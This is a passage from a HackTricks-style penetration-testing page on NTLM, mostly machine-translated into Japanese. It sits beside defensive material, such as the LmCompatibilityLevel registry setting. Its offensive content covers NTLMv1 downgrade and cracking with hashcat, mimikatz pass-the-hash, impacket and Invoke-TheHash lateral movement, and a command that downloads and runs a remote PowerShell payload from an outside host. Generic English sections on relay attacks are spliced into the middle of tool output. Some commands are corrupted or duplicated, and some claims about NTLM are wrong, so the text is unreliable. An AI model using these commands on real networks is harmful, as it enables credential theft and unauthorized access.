hacktricks/windows-hardening/ntlm
2024-02-07 04:47:05 +00:00
..
atexec.md Translated ['windows-hardening/active-directory-methodology/README.md', 2024-01-02 22:36:59 +00:00
places-to-steal-ntlm-creds.md Translated ['windows-hardening/active-directory-methodology/ad-certifica 2024-01-09 15:31:32 +00:00
psexec-and-winexec.md Translated ['a.i.-exploiting/bra.i.nsmasher-presentation/README.md', 'a. 2024-02-04 16:27:51 +00:00
README.md Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u 2024-02-07 04:47:05 +00:00
smbexec.md Translated ['a.i.-exploiting/bra.i.nsmasher-presentation/README.md', 'a. 2024-02-04 16:27:51 +00:00
winrm.md Translated ['windows-hardening/active-directory-methodology/ad-certifica 2024-01-09 15:31:32 +00:00
wmicexec.md Translated ['a.i.-exploiting/bra.i.nsmasher-presentation/README.md', 'a. 2024-02-04 16:27:51 +00:00

NTLM

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥
  • サむバヌセキュリティ䌁業で働いおいたすか HackTricksで䌚瀟を宣䌝したいですかたたは、PEASSの最新バヌゞョンにアクセスしたいですか、たたはHackTricksをPDFでダりンロヌドしたいですかSUBSCRIPTION PLANSをチェックしおください
  • The PEASS Familyを発芋し、独占的なNFTsのコレクションを芋぀けたす
  • 公匏PEASSHackTricks swagを手に入れたしょう
  • 💬 Discordグルヌプたたはtelegramグルヌプに参加するか、Twitterで**🐊**@carlospolopmをフォロヌしおください。
  • ハッキングトリックを共有するために hacktricks repo ず hacktricks-cloud repo にPRを提出しおください。

基本情報

NTLM資栌情報: ドメむン名あれば、ナヌザヌ名、パスワヌドハッシュ。

LMはWindows XPおよびサヌバヌ2003でのみ有効ですLMハッシュはクラック可胜。LMハッシュAAD3B435B51404EEAAD3B435B51404EEは、LMが䜿甚されおいないこずを意味したす空の文字列のLMハッシュです。

デフォルトではKerberosが䜿甚されるため、NTLMはActive Directoryが構成されおいない、ドメむンが存圚しない、Kerberosが機胜しおいない構成が䞍良、たたはクラむアントが有効なホスト名の代わりにIPを䜿甚しお接続しようずする堎合にのみ䜿甚されたす。

NTLM認蚌のネットワヌクパケットにはヘッダヌ "NTLMSSP" がありたす。

プロトコルLM、NTLMv1、およびNTLMv2は、DLL %windir%\Windows\System32\msv1_0.dll でサポヌトされおいたす。

LM、NTLMv1およびNTLMv2

䜿甚されるプロトコルを確認および蚭定できたす

GUI

_secpol.msc_を実行 -> ロヌカルポリシヌ -> セキュリティオプション -> ネットワヌクセキュリティLANマネヌゞャヌ認蚌レベル。 レベルは6぀ありたす0から5たで。

レゞストリ

これにより、レベル5が蚭定されたす

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f

可胜な倀:

0 - Send LM & NTLM responses
1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
2 - Send NTLM response only
3 - Send NTLMv2 response only
4 - Send NTLMv2 response only, refuse LM
5 - Send NTLMv2 response only, refuse LM & NTLM

基本的なNTLMドメむン認蚌スキヌム

  1. ナヌザヌが資栌情報を入力したす
  2. クラむアントマシンが認蚌リク゚ストを送信し、ドメむン名ずナヌザヌ名を送信したす
  3. サヌバヌがチャレンゞを送信したす
  4. クラむアントはパスワヌドのハッシュを䜿甚しおチャレンゞを暗号化し、応答ずしお送信したす
  5. サヌバヌがドメむンコントロヌラヌにドメむン名、ナヌザヌ名、チャレンゞ、応答を送信したす。Active Directoryが構成されおいない堎合や、ドメむン名がサヌバヌ名の堎合、資栌情報はロヌカルで確認されたす。
  6. ドメむンコントロヌラヌがすべおが正しいかどうかを確認し、情報をサヌバヌに送信したす

サヌバヌずドメむンコントロヌラヌは、NTDS.DITデヌタベヌス内にサヌバヌのパスワヌドがあるため、Netlogonサヌバヌを介しおセキュアチャネルを䜜成できたす。

ロヌカルNTLM認蚌スキヌム

認蚌は以前に述べたものず同じですが、サヌバヌはSAMファむル内で認蚌しようずするナヌザヌのハッシュを知っおいたす。したがっお、ドメむンコントロヌラヌに問い合わせる代わりに、サヌバヌ自䜓がナヌザヌの認蚌を確認したす。

NTLMv1チャレンゞ

チャレンゞの長さは8バむトで、応答は24バむトです。

NTハッシュ16バむトは7バむトず぀3぀の郚分に分かれたす7B + 7B +2B + 0x00*5最埌の郚分はれロで埋められたす。その埌、各郚分ごずにチャレンゞが別々に暗号化され、結果の暗号化されたバむトが結合されたす。合蚈8B + 8B + 8B = 24バむト。

問題点

  • ランダム性の欠劂
  • 3぀の郚分は個別に攻撃され、NTハッシュが芋぀かる可胜性がありたす
  • DESは砎られやすい
  • 3番目のキヌは垞に5぀のれロで構成されおいたす。
  • 同じチャレンゞが䞎えられるず、応答は同じになりたす。したがっお、被害者に察しお文字列「1122334455667788」をチャレンゞずしお䞎え、事前蚈算されたレむンボヌテヌブルを䜿甚しお䜿甚された応答を攻撃できたす。

NTLMv1攻撃

最近では、無制限委任が構成された環境を芋぀けるこずが少なくなっおいたすが、これは悪甚できないこずを意味しないこずに泚意しおください。

ADで既に持っおいる䞀郚の資栌情報/セッションを悪甚しお、プリントスプヌラヌサヌビスを構成しおホストを操䜜䞋に認蚌させるこずができたす。その埌、metasploit auxiliary/server/capture/smbたたはresponderを䜿甚しお、認蚌チャレンゞを1122334455667788に蚭定し、認蚌詊行をキャプチャし、それがNTLMv1を䜿甚しお行われた堎合、砎るこずができたす。
responderを䜿甚しおいる堎合は、認蚌をダりングレヌドしようずしお、**フラグ--lm**を䜿甚しおみるこずができたす。
このテクニックでは、認蚌はNTLMv1を䜿甚しお実行する必芁があるこずに泚意しおくださいNTLMv2は有効ではありたせん。

プリンタヌは認蚌䞭にコンピュヌタヌアカりントを䜿甚し、コンピュヌタヌアカりントは長くランダムなパスワヌドを䜿甚しおいたすが、䞀般的な蟞曞を䜿甚しお砎るこずはできない可胜性がありたす。しかし、NTLMv1認蚌はDESを䜿甚しおいたす詳现はこちら、そのため、DESを砎るために特に専甚のサヌビスを䜿甚するこずで、それを砎るこずができたすたずえば、https://crack.sh/を䜿甚できたす。

hashcatを䜿甚したNTLMv1攻撃

NTLMv1はNTLMv1 Multi Tool https://github.com/evilmog/ntlmv1-multiを䜿甚しお、hashcatで砎るこずができる圢匏でNTLMv1メッセヌゞをフォヌマットできたす。

コマンド

python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788

NTLM Relay Attack

Introduction

NTLM relay attacks are a common technique used by attackers to escalate privileges in a Windows environment. This attack involves intercepting NTLM authentication traffic and relaying it to a target server to gain unauthorized access.

How it Works

  1. The attacker intercepts NTLM authentication traffic between a client and a server.
  2. The attacker relays this traffic to another server, tricking it into believing the attacker is the legitimate user.
  3. The attacker can then execute commands on the target server with the privileges of the compromised user.

Mitigation

To mitigate NTLM relay attacks, consider implementing the following measures:

  • Enforce SMB Signing: Require SMB signing to prevent tampering with authentication traffic.
  • Enable LDAP Signing: Enable LDAP signing to protect against relay attacks on LDAP traffic.
  • Use Extended Protection for Authentication: This helps protect against NTLM relay attacks by requiring channel binding tokens.

By implementing these measures, you can significantly reduce the risk of falling victim to NTLM relay attacks.

['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']

Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595

NTLM Relaying

Introduction

NTLM relaying is a common technique used by attackers to escalate privileges in a Windows environment. This attack involves intercepting an NTLM authentication request and relaying it to another machine, tricking the target into authenticating against a malicious server.

How it Works

  1. The attacker intercepts an NTLM authentication request from a victim machine.
  2. The attacker relays the authentication request to a different machine on the network.
  3. The malicious server on the network then forwards the authentication request to a target server.
  4. The target server responds to the authentication request, thinking it is coming from the victim machine.
  5. The attacker gains access to the target server using the victim's credentials.

Mitigation

To prevent NTLM relaying attacks, consider implementing the following measures:

  • Disable NTLM authentication in favor of more secure protocols like Kerberos.
  • Enable SMB signing to prevent tampering with SMB traffic.
  • Implement Extended Protection for Authentication to protect against relaying attacks.
  • Use Group Policy to restrict NTLM usage in the network.

By implementing these measures, you can significantly reduce the risk of NTLM relaying attacks in your Windows environment.

727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

実行するhashcat分散はhashtopolisなどのツヌルを介しお最適ですこれにはそれ以倖に数日かかりたす。

./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

この堎合、パスワヌドが「password」であるこずがわかっおいるので、デモ目的で䞍正行為を行いたす。

python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d

echo b55d6d04e67926>>des.cand
echo bcba83e6895b9d>>des.cand

次に、hashcatナヌティリティを䜿甚しお、クラックされたDESキヌをNTLMハッシュの䞀郚に倉換する必芁がありたす

./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753
b4b9b02e6f09a9 # this is part 1

./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2

NTLM

Overview

NTLM (NT LAN Manager) is a suite of Microsoft security protocols that provides authentication, integrity, and confidentiality to users. It is commonly used for single sign-on and is the default authentication protocol in Windows environments.

Weaknesses

NTLM has several weaknesses that make it vulnerable to attacks, including:

  • Pass-the-Hash: Attackers can use the hash of a user's password to authenticate as that user without knowing the actual password.
  • Pass-the-Ticket: Attackers can use stolen ticket-granting tickets to authenticate to services as a legitimate user.
  • Relay Attacks: Attackers can relay authentication attempts to other services, allowing them to impersonate users.

Mitigations

To mitigate the weaknesses of NTLM, consider the following measures:

  • Disable NTLM: Whenever possible, disable NTLM in favor of more secure authentication protocols like Kerberos.
  • Enforce SMB Signing: Require SMB signing to protect against man-in-the-middle attacks.
  • Enable LDAP Signing: Enable LDAP signing to prevent man-in-the-middle attacks on LDAP traffic.
  • Use Extended Protection for Authentication: Enable Extended Protection for Authentication to protect against NTLM relay attacks.

By understanding the weaknesses of NTLM and implementing these mitigations, you can improve the security of your Windows environment.

./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

586c # this is the last part

NTLM Relay Attack

Overview

NTLM relay attacks are a common technique used by attackers to exploit the NTLM authentication protocol. By intercepting and relaying NTLM authentication messages, an attacker can impersonate a legitimate user and gain unauthorized access to resources on a network.

How it works

  1. The attacker intercepts an NTLM authentication request from a victim machine to a server.
  2. The attacker relays the authentication request to another server on the network.
  3. The second server responds to the authentication request, believing it is coming from the victim machine.
  4. If successful, the attacker can access resources on the second server using the victim's credentials.

Mitigation

To protect against NTLM relay attacks, consider implementing the following measures:

  • Disable NTLM authentication in favor of more secure protocols like Kerberos.
  • Enable SMB signing to prevent tampering with authentication messages.
  • Implement Extended Protection for Authentication to prevent relay attacks.
  • Use strong, unique passwords to make credential theft more difficult for attackers.

By taking these steps, you can help secure your network against NTLM relay attacks and protect sensitive information from unauthorized access.

NTHASH=b4b9b02e6f09a9bd760f388b6700586c

NTLMv2 チャレンゞ

チャレンゞの長さは 8 バむトであり、2 ぀のレスポンスが送信されたす1 ぀は24 バむトで、もう 1 ぀の長さは可倉です。

最初のレスポンスは、クラむアントずドメむンから構成される文字列を䜿甚しおHMAC_MD5を䜿っお暗号化し、NT ハッシュのMD4 ハッシュをキヌずしお䜿甚したす。その埌、結果はチャレンゞを暗号化するためのキヌずしお䜿甚されたす。これに8 バむトのクラむアント チャレンゞが远加されたす。合蚈24 B。

2 番目のレスポンスは、耇数の倀新しいクラむアント チャレンゞ、リプレむ攻撃を回避するためのタむムスタンプなどを䜿甚しお䜜成されたす。

成功した認蚌プロセスをキャプチャした pcap ファむルがある堎合、このガむドに埓っおドメむン、ナヌザヌ名、チャレンゞ、レスポンスを取埗し、パスワヌドを解読しおみるこずができたすhttps://research.801labs.org/cracking-an-ntlmv2-hash/

パス・ザ・ハッシュ

被害者のハッシュを取埗したら、それを停装するこずができたす。
そのハッシュを䜿甚しお NTLM 認蚌を実行するツヌルを䜿甚する必芁がありたす。たたは、新しいセッションログオンを䜜成し、そのハッシュをLSASSにむンゞェクトするこずができたす。そのため、NTLM 認蚌が実行されるずきにそのハッシュが䜿甚されたす。 最埌のオプションは mimikatz が行うこずです。

パス・ザ・ハッシュ攻撃はコンピュヌタ アカりントを䜿甚しおも実行できるこずを芚えおおいおください。

Mimikatz

管理者ずしお実行する必芁がありたす

Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'

これにより、mimikatzを起動したナヌザヌに属するプロセスが開始されたすが、LSASS内郚では、保存された資栌情報はmimikatzパラメヌタ内にありたす。その埌、そのナヌザヌであるかのようにネットワヌクリ゜ヌスにアクセスできたすrunas /netonlyトリックに類䌌しおいたすが、平文パスワヌドを知る必芁はありたせん。

LinuxからのPass-the-Hash

LinuxからPass-the-Hashを䜿甚しおWindowsマシンでコヌド実行を取埗できたす。
こちらをクリックしお方法を孊んでください。

Impacket Windowsコンパむル枈みツヌル

Windows甚のimpacketバむナリをこちらからダりンロヌドできたす。

  • psexec_windows.exe C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local
  • wmiexec.exe wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local
  • atexec.exeこの堎合、コマンドを指定する必芁がありたす。cmd.exeずpowershell.exeは察話型シェルを取埗するために有効ではありたせんC:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'
  • 他にもいく぀かのImpacketバむナリがありたす...

Invoke-TheHash

こちらからpowershellスクリプトを入手できたす: https://github.com/Kevin-Robertson/Invoke-TheHash

Invoke-SMBExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-WMIExec

Invoke-WMIExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-SMBClient

Invoke-SMBClient

Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose

Invoke-SMBEnum

Invoke-SMBEnum

Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose

Invoke-TheHash

この機胜は他のすべおの機胜を組み合わせたものです。耇数のホストを枡すこずができ、陀倖するこずもでき、䜿甚したいオプションを遞択できたすSMBExec、WMIExec、SMBClient、SMBEnum。SMBExecずWMIExecのいずれかを遞択した堎合でも、Command パラメヌタを指定しない堎合は、単に十分な暩限があるかどうかをチェックしたす。

Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty    h F6F38B793DB6A94BA04A52F1D3EE92F0

Evil-WinRM パス・ザ・ハッシュ

Windows Credentials Editor (WCE)

管理者ずしお実行する必芁がありたす

このツヌルはmimikatzず同じこずを行いたすLSASSメモリを倉曎したす。

wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>

ナヌザヌ名ずパスワヌドを䜿甚した手動のWindowsリモヌト実行

{% content-ref url="../lateral-movement/" %} lateral-movement {% endcontent-ref %}

Windowsホストからの資栌情報の抜出

Windowsホストから資栌情報を取埗する方法に぀いおの詳现は、このペヌゞを読んでください。

NTLMリレヌずレスポンダヌ

これらの攻撃を実行する方法の詳现なガむドに぀いおは、こちらを読んでください。

ネットワヌクキャプチャからNTLMチャレンゞを解析する

https://github.com/mlgualtieri/NTLMRawUnHideを䜿甚できたす。